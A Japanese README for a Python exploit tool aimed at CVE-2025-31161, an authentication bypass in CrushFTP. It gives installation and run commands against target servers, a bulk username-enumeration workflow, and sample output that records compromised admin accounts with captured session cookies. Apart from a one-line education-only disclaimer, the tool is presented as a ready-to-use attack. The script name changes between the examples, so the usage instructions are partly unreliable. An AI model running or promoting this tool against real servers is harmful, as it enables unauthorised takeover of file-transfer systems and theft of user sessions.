CrushFTP CVE-2025-31161 エクスプロイトツール 🔓

脆弱なCrushFTPバージョンにおけるCVE-2025-31161脆弱性の高度な検出およびエクスプロイトツール。

CVE-2025-31161 は、CrushFTP Webインターフェースにおける重大な認証バイパス脆弱性です。HTTP Authorization ヘッダーを操作することで、認証されていない攻撃者が正しいパスワードを提供せずに任意の有効なユーザー名で完全なアクセスを得ることができます。

影響を受けるバージョン

CrushFTP 9.3.8

CrushFTP 9.3.9

CrushFTP 9.3.10

CrushFTP 9.3.11

CrushFTP 9.3.12

CrushFTP Enterprise 9.3.12.5 より前のバージョン

主な機能 🚀

CrushFTPバージョンの自動検出と脆弱性検証
マルチスレッド認証情報テストによる迅速なユーザー列挙
二重認証方式のサポート (Bearer Token & Basic Auth)
セッションクッキーを含むJSONレポート生成
カスタム設定によるスマートな接続再試行メカニズム
詳細なログ出力付きのカラー化されたコンソール出力
脆弱なバージョンの範囲:
- 9.3.8 から 9.3.12.5 まで

必要条件 📋

Python 3.8以上
必要なパッケージ:
```
pip install requests colorama urllib3
```
インストール 🛠️

依存関係をインストール:

 pip install requests colorama urllib3

リポジトリをクローン:

 git clone https://github.com/TX-One/CVE-2025-31161.git
 cd CVE-2025-31161
 python3 tx-crush.py -h

使い方 🖥️

基本コマンド:

python3 CVE-2025-31161.py -t https://target:8080 -u users.txt -o results.json

オプション:

-h, --help            show this help message and exit
  -t, --target TARGET   Target URL (e.g., https://example.com:8080)
  -u, --users USERS     File containing username list
  -o, --output OUTPUT   Output JSON file
  -T, --threads THREADS
                        Number of threads (default: 5)
  --no-ssl              Disable SSL verification
  --timeout TIMEOUT     Request timeout (default: 15)
  --retries RETRIES     Number of retries (default: 3)
  --force               Bypass version check

詳細な例:

python3 exploit.py
  -t https://vulnerable-server.com:8000
  -u ./wordlists/common_users.txt
  -o ./results/compromised.json
  -T 10
  --retries 5
  --timeout 20

出力サンプル 📄

[
  {
    "target": "https://victim:8080",
    "user": "admin",
    "success": true,
    "method": "Bearer",
    "cookies": {"sessionID": "a1b2c3..."},
    "server_version": "CrushFTP/9.3.12"
  }
]

[
  {
        "target": "http://victim:8080",
        "user": "admin",
        "success": false
    }
]

免責事項: このプロジェクトは教育およびセキュリティ研究目的のみに使用されます。責任ある使用が必要です。

CVE-2025-31161

人気